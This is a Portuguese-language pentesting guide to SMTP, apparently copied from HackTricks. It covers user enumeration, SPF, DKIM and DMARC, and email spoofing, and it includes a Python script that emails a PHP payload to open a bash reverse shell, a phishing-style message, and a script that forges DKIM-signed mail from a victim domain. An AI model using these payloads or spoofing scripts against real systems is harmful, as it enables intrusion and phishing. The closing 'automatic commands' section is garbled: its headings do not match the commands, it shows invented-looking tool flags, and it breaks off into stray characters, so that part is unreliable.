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https://github.com/carlospolop/hacktricks
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# 25,465,587 - Pentesting SMTP/s
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
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[**DragonJAR Security Conference é um evento internacional de cibersegurança**](https://www.dragonjarcon.org/) com mais de uma década que será realizado em 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de grande conteúdo técnico onde as últimas pesquisas em espanhol são apresentadas, atraindo hackers e pesquisadores de todo o mundo.\
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{% embed url="https://www.dragonjarcon.org/" %}
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## **Informações Básicas**
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**SMTP (Simple Mail Transfer Protocol)** é um protocolo TCP/IP usado para **enviar** e receber **e-mails**. No entanto, como é limitado em sua capacidade de enfileirar mensagens no final do recebimento, geralmente é usado com um dos outros dois protocolos, POP3 ou IMAP, que permitem que o usuário salve mensagens em uma caixa de correio do servidor e as baixe periodicamente do servidor.
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Em outras palavras, **os usuários geralmente usam** um programa que usa **SMTP para enviar e-mails** e **POP3 ou IMAP para receber** e-mails. Em sistemas baseados em Unix, **sendmail** é o servidor SMTP mais amplamente usado para e-mail. Um pacote comercial, Sendmail, inclui um servidor POP3. **Microsoft Exchange** inclui um servidor SMTP e também pode ser configurado para incluir suporte POP3.\
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De [aqui](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol).
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**Porta padrão:** 25,465(ssl),587(ssl)
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```
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PORT STATE SERVICE REASON VERSION
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25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
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```
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### Cabeçalhos de EMAIL
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Se você tiver a oportunidade de **fazer a vítima enviar um email** para você (por meio do formulário de contato da página da web, por exemplo), faça isso porque **você pode aprender sobre a topologia interna** da vítima vendo os cabeçalhos do email.
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Você também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará para o atacante um email NDN). Mas, certifique-se de que você envia o email de um endereço permitido (verifique a política SPF) e que você pode receber mensagens NDN.
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Você também deve tentar **enviar diferentes conteúdos porque você pode encontrar informações mais interessantes** nos cabeçalhos como: `X-Virus-Scanned: by av.domain.com`\
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Você deve enviar o arquivo de teste EICAR.\
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Detectar o **AV** pode permitir que você explore **vulnerabilidades conhecidas.**
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## Ações básicas
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### **Banner Grabbing/Conexão básica**
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**SMTP:**
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```bash
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nc -vn <IP> 25
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```
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**SMTPS**:
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SMTPS é uma versão segura do protocolo SMTP que utiliza criptografia SSL/TLS para proteger a comunicação entre o cliente e o servidor. O SMTPS é executado na porta 465 e é uma alternativa ao STARTTLS. É importante notar que o SMTPS não é mais recomendado, pois o STARTTLS é considerado mais seguro.
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```bash
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openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
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openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
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```
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### Encontrando servidores MX de uma organização
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Para encontrar os servidores MX de uma organização, podemos usar a ferramenta `nslookup` no terminal. Primeiro, abra o terminal e digite `nslookup` para entrar no modo interativo. Em seguida, digite `set type=mx` para definir o tipo de registro como MX. Depois, digite o nome de domínio da organização que você deseja investigar. O resultado mostrará os servidores MX da organização.
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```bash
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dig +short mx google.com
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```
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### Enumeração
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```bash
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nmap -p25 --script smtp-commands 10.10.10.10
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nmap -p25 --script smtp-open-relay 10.10.10.10 -v
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```
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### NTLM Auth - Divulgação de informações
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Se o servidor suporta autenticação NTLM (Windows), você pode obter informações sensíveis (versões). Mais informações [**aqui**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
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```bash
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root@kali: telnet example.com 587
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220 example.com SMTP Server Banner
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>> HELO
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250 example.com Hello [x.x.x.x]
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>> AUTH NTLM 334
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NTLM supported
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>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
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334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
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```
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Ou **automatize** isso com o plugin do **nmap** `smtp-ntlm-info.nse`
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### Nome do servidor interno - Divulgação de informações
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Alguns servidores SMTP auto-completam o endereço do remetente quando o comando "MAIL FROM" é emitido sem um endereço completo, divulgando seu nome interno:
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```
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220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
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EHLO all
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250-somedomain.com Hello [x.x.x.x]
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250-TURN
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250-SIZE 52428800
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250-ETRN
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250-PIPELINING
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250-DSN
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250-ENHANCEDSTATUSCODES
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250-8bitmime
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250-BINARYMIME
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250-CHUNKING
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250-VRFY
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250 OK
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MAIL FROM: me
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250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
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```
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### Sniffing
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Verifique se você consegue capturar alguma senha dos pacotes para a porta 25.
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### [Força bruta de autenticação](../../generic-methodologies-and-resources/brute-force.md#smtp)
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## Enumeração de força bruta de nome de usuário
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**A autenticação nem sempre é necessária**
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### RCPT TO
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```bash
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$ telnet 10.0.10.1 25
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Trying 10.0.10.1...
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Connected to 10.0.10.1.
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|
Escape character is '^]'.
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220 myhost ESMTP Sendmail 8.9.3
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HELO x
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250 myhost Hello [10.0.0.99], pleased to meet you
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MAIL FROM:test@test.org
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250 2.1.0 test@test.org... Sender ok
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RCPT TO:test
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550 5.1.1 test... User unknown
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RCPT TO:admin
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550 5.1.1 admin... User unknown
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RCPT TO:ed
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250 2.1.5 ed... Recipient ok
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```
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### VRFY
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VRFY é um comando SMTP que permite verificar se um usuário específico existe em um servidor de e-mail. Isso pode ser usado por um atacante para coletar informações sobre usuários válidos em um domínio, que podem ser usados posteriormente em ataques de força bruta ou phishing. Alguns servidores de e-mail desabilitam o comando VRFY por padrão para evitar esse tipo de ataque.
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```
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$ telnet 10.0.0.1 25
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Trying 10.0.0.1...
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Connected to 10.0.0.1.
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|
Escape character is '^]'.
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220 myhost ESMTP Sendmail 8.9.3
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HELO
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|
501 HELO requires domain address
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|
HELO x
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250 myhost Hello [10.0.0.99], pleased to meet you
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VRFY root
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250 Super-User <root@myhost>
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VRFY blah
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550 blah... User unknown
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```
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### EXPN
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O comando `EXPN` é usado para expandir uma lista de distribuição em um servidor SMTP. Isso significa que, se um invasor tiver acesso a um usuário que tenha permissão para enviar e-mails para uma lista de distribuição, ele poderá usar o comando `EXPN` para obter uma lista de todos os endereços de e-mail incluídos nessa lista. Isso pode ser usado para coletar informações sobre os usuários de uma organização e, potencialmente, para realizar ataques de engenharia social.
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O comando `EXPN` é frequentemente desativado em servidores SMTP modernos, mas ainda pode ser encontrado em alguns servidores mais antigos ou mal configurados. Se você encontrar um servidor que responde ao comando `EXPN`, é importante relatar isso ao administrador do sistema para que ele possa tomar medidas para corrigir a configuração do servidor.
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```
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$ telnet 10.0.10.1 25
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Trying 10.0.10.1...
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|
Connected to 10.0.10.1.
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|
Escape character is '^]'.
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|
220 myhost ESMTP Sendmail 8.9.3
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|
HELO
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501 HELO requires domain address
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|
HELO x
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EXPN test
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550 5.1.1 test... User unknown
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EXPN root
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250 2.1.5 <ed.williams@myhost>
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EXPN sshd
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250 2.1.5 sshd privsep <sshd@mail2>
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```
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### Ferramentas automáticas
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Automatic tools can be used to enumerate usernames on SMTP servers. These tools typically work by sending a VRFY, EXPN or RCPT TO command to the server for a list of usernames. Some tools will also perform brute-force attacks by attempting to authenticate to the SMTP server with a list of usernames and passwords.
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As with manual techniques, these tools can be noisy and may trigger alerts on the target network. Additionally, some SMTP servers may be configured to block or limit the number of requests from a single IP address, which can slow down or prevent enumeration attempts.
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It is important to note that the use of automatic tools to enumerate usernames on SMTP servers may be illegal or against the terms of service of the target network. Always ensure that you have permission from the target network owner before conducting any enumeration activities.
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```
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Metasploit: auxiliary/scanner/smtp/smtp_enum
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smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
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Nmap: nmap --script smtp-enum-users <IP>
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```
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<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
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[**A Conferência de Segurança DragonJAR é um evento internacional de cibersegurança**](https://www.dragonjarcon.org/) com mais de uma década de existência que será realizada nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento com grande conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atrai hackers e pesquisadores de todo o mundo.\
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Registre-se agora no seguinte link e não perca esta grande conferência!:
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{% embed url="https://www.dragonjarcon.org/" %}
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## Relatórios DSN
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**Relatórios de Notificação de Status de Entrega**: Se você enviar um **e-mail** para uma organização para um **endereço inválido**, a organização notificará que o endereço foi invalidado enviando um **e-mail de volta para você**. Os **cabeçalhos** do e-mail retornado irão **conter** possíveis **informações sensíveis** (como o endereço IP dos serviços de e-mail que interagiram com os relatórios ou informações do software antivírus).
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## [Comandos](smtp-commands.md)
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### Enviando um e-mail a partir do console linux
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```
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root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
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Reading message body from STDIN because the '-m' option was not used.
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If you are manually typing in a message:
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- First line must be received within 60 seconds.
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- End manual input with a CTRL-D on its own line.
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IT Dept,
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We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.
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Sincerely,
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```
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```bash
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swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
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```
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### Enviando um Email com Python
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Aqui está uma maneira alternativa de enviar um email com um script em Python.
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```python
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from email.mime.multipart import MIMEMultipart
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from email.mime.text import MIMEText
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import smtplib
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import sys
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lhost = "127.0.0.1"
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lport = 443
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rhost = "192.168.1.1"
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rport = 25 # 489,587
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# create message object instance
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msg = MIMEMultipart()
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# setup the parameters of the message
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password = ""
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msg['From'] = "attacker@local"
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msg['To'] = "victim@local"
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msg['Subject'] = "This is not a drill!"
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# payload
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message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
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print("[*] Payload is generated : %s" % message)
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msg.attach(MIMEText(message, 'plain'))
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server = smtplib.SMTP(host=rhost,port=rport)
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if server.noop()[0] != 250:
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print("[-]Connection Error")
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exit()
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server.starttls()
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# Uncomment if log-in with authencation
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# server.login(msg['From'], password)
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server.sendmail(msg['From'], msg['To'], msg.as_string())
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server.quit()
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print("[***]successfully sent email to %s:" % (msg['To']))
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```
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## Spoofing de E-mail
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A maioria desta seção foi extraída do livro **Network Security Assessment 3rd Edition**.
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As mensagens SMTP são facilmente falsificadas, e, portanto, as organizações usam recursos como **SPF**, **DKIM** e **DMARC** para evitar que partes enviem e-mails não autorizados.
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Um **guia completo dessas contramedidas** pode ser encontrado em [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)
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### SPF
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{% hint style="danger" %}
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O SPF [foi "descontinuado" em 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Isso significa que, em vez de criar um **registro TXT** em `_spf.domain.com`, você o cria em `domain.com` usando a **mesma sintaxe**.\
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Além disso, para reutilizar registros SPF anteriores, é comum encontrar algo como `"v=spf1 include:_spf.google.com ~all"`
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{% endhint %}
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O **Sender Policy Framework** (SPF) fornece um mecanismo que permite que MTAs verifiquem se um host que envia um e-mail está autorizado.\
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Em seguida, as organizações podem definir uma lista de servidores de correio autorizados e os MTAs podem consultar essas listas para verificar se o e-mail foi falsificado ou não.\
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Para definir endereços IP/faixas, domínios e outros que são **autorizados a enviar e-mails em nome de um nome de domínio**, diferentes "**Mecanismos**" podem aparecer no registro SPF.
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#### Mecanismos
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| Mecanismo | Descrição |
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| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
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| ALL | Sempre corresponde; usado para um resultado padrão como `-all` para todos os IPs que não correspondem a mecanismos anteriores. |
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| A | Se o nome de domínio tiver um registro de endereço (A ou AAAA) que possa ser resolvido para o endereço do remetente, ele corresponderá. |
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| IP4 | Se o remetente estiver em uma determinada faixa de endereços IPv4, corresponderá. |
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| IP6 | Se o remetente estiver em uma determinada faixa de endereços IPv6, corresponderá. |
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| MX | Se o nome de domínio tiver um registro MX que resolva para o endereço do remetente, ele corresponderá (ou seja, o correio vem de um dos servidores de correio de entrada do domínio). |
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| PTR | Se o nome de domínio (registro PTR) para o endereço do cliente estiver no domínio fornecido e esse nome de domínio for resolvido para o endereço do cliente (DNS reverso confirmado para frente), corresponderá. Esse mecanismo é desencorajado e deve ser evitado, se possível. |
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| EXISTS | Se o nome de domínio fornecido for resolvido para qualquer endereço, corresponderá (não importa o endereço para o qual ele é resolvido). Isso é raramente usado. Juntamente com a linguagem macro SPF, ele oferece correspondências mais complexas, como consultas DNSBL. |
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| INCLUDE | Faz referência à política de outro domínio. Se a política desse domínio passar, esse mecanismo passará. No entanto, se a política incluída falhar, o processamento continuará. Para delegar completamente a política de outro domínio, a extensão de redirecionamento deve ser usada. |
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| REDIRECT | <p>Um redirecionamento é um ponteiro para outro nome de domínio que hospeda uma política SPF, permitindo que vários domínios compartilhem a mesma política SPF. É útil ao trabalhar com uma grande quantidade de domínios que compartilham a mesma infraestrutura de e-mail.</p><p>A política SPF do domínio indicado no Mecanismo de redirecionamento será usada.</p> |
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Também é possível identificar **Qualificadores** que indicam **o que deve ser feito se um mecanismo for correspondido**. Por padrão, é usado o **qualificador "+"** (então, se qualquer mecanismo for correspondido, isso significa que é permitido).\
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Você geralmente notará **no final de cada política SPF** algo como: **\~all** ou **-all**. Isso é usado para indicar que **se o remetente não corresponder a nenhuma política SPF, você deve marcar o e-mail como não confiável (\~) ou rejeitar (-) o e-mail.**
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#### Qualificadores
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Cada mecanismo pode ser combinado com um dos quatro qualificadores:
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* **`+`** para um resultado PASS. Isso pode ser omitido; por exemplo, `+mx` é o mesmo que `mx`.
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* **`?`** para um resultado NEUTRAL interpretado como NENHUM (sem política).
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* **`~`** (til) para SOFTFAIL, uma ajuda de depuração entre NEUTRAL e FAIL. Tipicamente, as mensagens que retornam um SOFTFAIL são aceitas, mas marcadas.
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* **`-`** (menos) para FAIL, o correio deve ser rejeitado (veja abaixo).
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No exemplo a seguir, você pode ler a **política SPF do google.com**. Observe como o **primeiro SPF inclui políticas SPF de outros domínios:**
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```shell-session
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kali@kali:~$ dig txt google.com | grep spf
|
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google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
|
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|
kali@kali:~$ dig txt _spf.google.com | grep spf
|
|
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
|
|
;_spf.google.com. IN TXT
|
|
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
|
|
|
|
kali@kali:~$ dig txt _netblocks.google.com | grep spf
|
|
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
|
|
|
|
kali@kali:~$ dig txt _netblocks2.google.com | grep spf
|
|
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
|
|
|
|
kali@kali:~$ dig txt _netblocks3.google.com | grep spf
|
|
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
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```
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Tradicionalmente, era possível falsificar qualquer nome de domínio que não tivesse um registro SPF correto/qualquer. Atualmente, se um e-mail vem de um domínio sem um registro SPF válido, provavelmente será rejeitado/marcado como não confiável automaticamente.
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Para verificar o SPF de um domínio, você pode usar ferramentas online como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
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### DKIM
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O DomainKeys Identified Mail (DKIM) é um mecanismo pelo qual o e-mail de saída é assinado e validado por MTAs estrangeiros ao recuperar a chave pública de um domínio via DNS. A chave pública DKIM é mantida em um registro TXT para um domínio; no entanto, você deve conhecer tanto o seletor quanto o nome de domínio para recuperá-lo.
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Então, para solicitar a chave, você precisa do nome de domínio e do seletor do e-mail do cabeçalho do e-mail `DKIM-Signature`, por exemplo: `d=gmail.com;s=20120113`
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```bash
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dig 20120113._domainkey.gmail.com TXT | grep p=
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20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
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|
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
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```
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### DMARC
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Domain-based Message Authentication, Reporting & Conformance (DMARC) é um método de autenticação de e-mails que expande o SPF e o DKIM. As políticas instruem os servidores de e-mail sobre como processar e-mails para um determinado domínio e relatar as ações realizadas.
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.png>)
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**Para obter o registro DMARC, você precisa consultar o subdomínio \_dmarc**
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```shell-session
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root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
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_dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
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rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"
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root@kali:~# dig _dmarc.google.com txt | grep DMARC
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_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"
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root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
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|
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
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|
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"
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```
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PayPal e Yahoo instruem servidores de e-mail a rejeitar mensagens que contenham assinaturas DKIM inválidas ou que não se originem de suas redes. Notificações são enviadas para os respectivos endereços de e-mail dentro de cada organização. O Google é configurado de maneira semelhante, embora instrua os servidores de e-mail a quarentenar mensagens e não rejeitá-las completamente.
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#### Tags DMARC
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| Nome da Tag | Propósito | Exemplo |
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| ----------- | ----------------------------------------------- | -------------------------------- |
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| v | Versão do protocolo | v=DMARC1 |
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| pct | Porcentagem de mensagens sujeitas a filtragem | pct=20 |
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| ruf | URI de relatórios forenses | ruf=mailto:authfail@example.com |
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| rua | URI de relatórios agregados | rua=mailto:aggrep@example.com |
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| p | Política para o domínio organizacional | p=quarantine |
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| sp | Política para subdomínios do OD | sp=reject |
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| adkim | Modo de alinhamento para DKIM | adkim=s |
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| aspf | Modo de alinhamento para SPF | aspf=r |
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### **E quanto aos subdomínios?**
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**De** [**aqui**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
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Você precisa ter registros SPF separados para cada subdomínio do qual deseja enviar e-mails.\
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O seguinte foi originalmente postado em openspf.org, que costumava ser um ótimo recurso para esse tipo de coisa.
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> A questão do Demônio: E quanto aos subdomínios?
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>
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> Se eu receber um e-mail de pielovers.demon.co.uk e não houver dados SPF para pielovers, devo voltar um nível e testar o SPF para demon.co.uk? Não. Cada subdomínio na Demon é um cliente diferente e cada cliente pode ter sua própria política. Não faria sentido a política da Demon se aplicar a todos os seus clientes por padrão; se a Demon quiser fazer isso, pode configurar registros SPF para cada subdomínio.
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|
>
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|
> Portanto, o conselho para os editores SPF é o seguinte: você deve adicionar um registro SPF para cada subdomínio ou nome de host que tenha um registro A ou MX.
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>
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> Sites com registros A ou MX de curinga também devem ter um registro SPF de curinga, no formato: \* IN TXT "v=spf1 -all"
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Isso faz sentido - um subdomínio pode muito bem estar em uma localização geográfica diferente e ter uma definição SPF muito diferente.
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### **Relé Aberto**
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Para evitar que os e-mails enviados sejam filtrados por filtros de spam e não cheguem ao destinatário, o remetente pode usar um **servidor de retransmissão que o destinatário confia**. Muitas vezes, os administradores **não têm uma visão geral** de quais **intervalos de IP** eles têm que **permitir**. Isso resulta em uma má configuração do servidor SMTP que ainda encontramos com frequência em testes de penetração externos e internos. Portanto, eles **permitem todos os endereços IP** para não causar erros no tráfego de e-mail e, assim, não perturbar ou interromper inadvertidamente a comunicação com clientes potenciais e atuais:
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```shell-session
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|
mynetworks = 0.0.0.0/0
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```
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|
```bash
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|
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
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```
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### **Ferramentas**
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* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Verifique as configurações incorretas de SPF e DMARC**
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* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Obtenha automaticamente as configurações de SPF e DMARC**
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### Enviar e-mail falso
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|
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
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|
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
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|
* [**https://emkei.cz/**](https://emkei.cz/)\*\*\*\*
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|
**Ou você pode usar uma ferramenta:**
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* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)\*\*\*\*
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```bash
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|
# This will send a test email from test@victim.com to destination@gmail.com
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|
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
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|
# But you can also modify more options of the email
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|
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
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|
```
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|
{% hint style="warning" %}
|
|
Se você receber algum **erro ao usar a biblioteca python dkim** para analisar a chave, sinta-se à vontade para usar a seguinte.\
|
|
**NOTA**: Isso é apenas uma correção rápida para fazer verificações rápidas em casos em que, por algum motivo, a chave privada openssl **não pode ser analisada pelo dkim**.
|
|
```
|
|
-----BEGIN RSA PRIVATE KEY-----
|
|
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
|
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
|
|
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
|
|
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
|
|
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
|
|
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
|
|
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
|
|
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
|
|
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
|
|
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
|
|
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
|
|
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
|
|
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
|
-----END RSA PRIVATE KEY-----
|
|
```
|
|
{% hint %}
|
|
|
|
**Ou você pode fazer manualmente:**
|
|
|
|
{% tabs %}
|
|
{% tab title="PHP" %}
|
|
<pre class="language-php"><code class="lang-php"><strong># Isso enviará uma mensagem não assinada
|
|
</strong><strong>mail("seu_email@gmail.com", "Assunto de teste!", "Ei! Isso é um teste", "De: administrador@vitima.com");
|
|
</strong></code></pre>
|
|
{% endtab %}
|
|
|
|
{% tab title="Python" %}
|
|
```python
|
|
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
|
|
|
|
import os
|
|
import dkim #pip3 install dkimpy
|
|
import smtplib
|
|
from email.mime.multipart import MIMEMultipart
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|
from email.mime.text import MIMEText
|
|
from email.mime.base import MIMEBase
|
|
|
|
# Set params
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|
destination="destination@gmail.com"
|
|
sender="administrator@victim.com"
|
|
subject="Test"
|
|
message_html="""
|
|
<html>
|
|
<body>
|
|
<h3>This is a test, not a scam</h3>
|
|
<br />
|
|
</body>
|
|
</html>
|
|
"""
|
|
sender_domain=sender.split("@")[1]
|
|
|
|
# Prepare postfix
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|
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
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|
os.system("systemctl restart postfix")
|
|
|
|
# Generate DKIM keys
|
|
dkim_private_key_path="dkimprivatekey.pem"
|
|
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
|
|
with open(dkim_private_key_path) as fh:
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|
dkim_private_key = fh.read()
|
|
|
|
# Generate email
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|
msg = MIMEMultipart("alternative")
|
|
msg.attach(MIMEText(message_html, "html"))
|
|
msg["To"] = destination
|
|
msg["From"] = sender
|
|
msg["Subject"] = subject
|
|
headers = [b"To", b"From", b"Subject"]
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|
msg_data = msg.as_bytes()
|
|
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|
# Sign email with dkim
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|
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
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|
dkim_selector="s1"
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sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
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|
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
|
|
msg_data = msg.as_bytes()
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|
|
# Use local postfix relay to send email
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|
smtp="127.0.0.1"
|
|
s = smtplib.SMTP(smtp)
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|
s.sendmail(sender, [destination], msg_data)
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
### **Mais informações**
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|
|
**Encontre mais informações sobre essas proteções em** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
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|
### **Outros indicadores de phishing**
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|
* Idade do domínio
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* Links apontando para endereços IP
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* Técnicas de manipulação de links
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* Anexos suspeitos (incomuns)
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* Conteúdo de e-mail quebrado
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|
* Valores usados diferentes dos cabeçalhos de e-mail
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* Existência de um certificado SSL válido e confiável
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* Envio da página para sites de filtragem de conteúdo da web
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## Exfiltração através do SMTP
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**Se você pode enviar dados via SMTP** [**leia isso**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
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## Arquivo de configuração
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### Postfix
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Normalmente, se instalado, em `/etc/postfix/master.cf` contém **scripts para executar** quando, por exemplo, um novo e-mail é recebido por um usuário. Por exemplo, a linha `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa que `/etc/postfix/filtering` será executado se um novo e-mail for recebido pelo usuário mark.
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|
Outros arquivos de configuração:
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```
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|
sendmail.cf
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submit.cf
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```
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## Comandos Automáticos do HackTricks
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### SMTP
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#### Testar conexão SMTP
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|
```bash
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|
nmap -p 25 --script smtp-commands <ip>
|
|
```
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|
#### Verificar se o servidor SMTP permite relaying
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|
|
|
```bash
|
|
smtp-user-enum -M RCPT -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip>
|
|
```
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|
|
|
#### Verificar se o servidor SMTP permite autenticação anônima
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|
```bash
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|
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip>
|
|
```
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|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais fracas
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|
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|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -user <user> -pass <pass>
|
|
```
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|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando SSL
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -s -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando TLS
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -starttls -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando STARTTLS
|
|
|
|
```bash
|
|
smtp-user-enum -M AUTH -U /usr/share/wordlists/metasploit/unix_users.txt -t <ip> -p <port> -starttls -user <user> -pass <pass>
|
|
```
|
|
|
|
#### Verificar se o servidor SMTP permite autenticação com credenciais válidas usando CRAM-MD5
|
|
|
|
```bash
|
|
